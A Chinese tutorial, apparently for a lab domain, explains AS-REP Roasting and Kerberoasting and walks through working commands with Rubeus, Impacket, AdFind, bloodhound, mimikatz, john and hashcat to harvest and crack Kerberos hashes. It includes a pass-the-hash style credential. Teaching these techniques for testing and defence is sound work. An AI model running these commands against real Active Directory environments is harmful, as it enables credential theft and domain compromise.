文章目录
简介
本篇将讲解AS-REP Roasting与Kerberoasting配置过程与利用手法
AS-REP Roasting(域内机器)利用
AS-REP Roasting是一种对用户理想爆破的攻击方式,需要域用户配置了
不需要求Kerberos预身份认证,默认开启认证Kerberos预身份验证发生在
Kerberos身份验证的第一阶段AS_REQ & AS_REP,它主要作用是防止密码
离线破解,KDC会记录密码错误次数防止在线爆破。
配置:
AS-REP Roasting攻击步骤:
1.获取AS-REP响应包中用户Hash加密的Login Session Key。
2.对上一步获取的Login Session Key进行解密因为是通过用户Hash加密的。
AS-REP Roasting攻击条件:
1.域用户勾选不要钱Kerberos预身份验证选项。
2.需要一台与KDC 88端口进行通信的主机。
Rubeus(域内机器)利用:
Rubeus.exe asreproast /format:john /outfile:hash.txt
ASREPROast.ps1(域内机器)脚本利用
下载:
https://github.com/HarmJ0y/ASREPRoast
修改powershell策略可以加载脚本
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
命令:
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash
AS-REP Roasting(非域内机器)利用
非域内机器的我这里的利用思路是通过adfind或者bloodhound查询不需要Kerberos
预身份验证的账户,之后在使用Impacket下的GetNPUsers.py脚本获取指定用户的Hash
加密的Login Session Key。
Adfind查询:
Adfind.exe -h 10.211.55.100 -u test\lisi -up Pass123 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" dn
bloodhound分析:
bloodhound.py脚本抓取域信息
命令:
bloodhound.py -u lisi -d test.com -ns 10.211.55.100 -c DcOnly
使用Impacket下的GetNPUsers.py获取Hash
命令:
python3 GetNPUsers.py -dc-ip 10.211.55.100 -usersfile users.txt -format john test.com/
使用John爆破AS-REP Roasting Hash
将获取到的Hash保存到txt文件中,爆破成功与否和字典强度有关。
命令:
john --wordlist=/xxx/字典.txt hash.txt
Kerberoasting简述
Kerberoasting攻击发生在Kerberos协议的TGS_REP阶段,KDC的TGS是由服务Hash加密的ST给客户端,
由于ST是用服务Hash进行加密的,因此客户端在拿到ST之后可以用于本地离线爆破,如果该服务由高权限
用户Hash加密的则肯能直接接管域控。
Kerberoasting攻击过程:
1.攻击者提供一个正常域用户密码进行认证获得TGT。
2.攻击者使用该TGT针对指定SPN请求。
3.KDC验证TGT之后服务Hash加密的ST(不管TGT是否有权限使用都会返回ST)。
4.攻击者离线爆破该ST。
Kerberoasting注意:
攻击一般只针对于注册在用户下的SPN,机器账户的密码太过于复杂是128位的字符不可能爆破出来。
Kerberoasting攻击步骤:
1.查询域内注册于域用户下的SPN
2.请求指定SPN的ST
3.导出ST
4.对导出的ST进行离线破解
Kerberoasting环境配置
在域控下打开powershell执行一下命令:
setspn -S Hacker/test.com kerberoasting
命令解释:
Hacker是服务名
test.com是域名
kerberoasting是域用户名
查询所有SPN命令看看是否配置成功
setspn -q */*
Kerberoasting发现
Adfind查询配置了SPN的域内用户账户
命令:
AdFind.exe -f "&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)" -nodn samaccountname
bloodhound查询配置了域内用户账户的SPN
Analysis下Shortest Paths中Shortest Paths from Kerberoastable Users
Kerberoasting请求服务票据
GetUserSPNs.py工具请求服务票据:
Impacket中的GetUserSPNs.py脚本可以请求注册于用户下所有SPN的服务票据,
也可以请求注册于指定用户下的SPN服务票据。
请求注册于用户下所有SPN的服务票据,并以hashcat能够破解的格式保存为spn.txt文件:
GetUserSPNs.py -request -dc-ip 10.211.55.100 'test.com/ruyu' -hashes :4c25ed57e37131073192a98148fbc30f -outputfile spn.txt
请求注册于指定用户下的SPN服务票据,并以hashcat能够破解的格式保存
GetUserSPNs.py -request -dc-ip 10.211.55.100 'test.com/ruyu' -hashes :4c25ed57e37131073192a98148fbc30f -outputfile spn.txt -request-user 账户名
Rubeus 请求:
请求注册于用户下所有SPN的服务票据,并以hashcat能破解的方式保存spn.txt
Rubeus.exe kerberoast /format:john /outfile:spn.txt
请求注册于用户下指定SPN的服务票据,并以john能够破解的方式保存spn.txt
Rubeus.exe kerberoast /spn:SPN名称 /format:john /outfile:spn.txt
mimikatz请求服务票据
请求指导SPN的服务票据
kerberos::ask /target:SPN名称
cmd下klist查看票据
mimikatz下kerberos::list查看票据
mimikatz导出票据命令:
mimikatz.exe "kerberos::list /export" "exit"
破解服务票据
hashcat破解服务票据:
hashcat是针对Impacket或Rebus请求的票据格式。
hashcat -m 13100 spn.txt pass.txt --force
kerberoast破解服务票据
kerberoast用于攻击Kerberos实现的一些工具集合,该工具中tgsrepcrack.py脚本可以针对
mimikatz.exe导出的.kirbi格式票据文件进行爆破。
命令:
python2 tgsrepcrack.py pass.txt 1-40a10000-lisi@Hacker\~test.com-TEST.COM.kirbi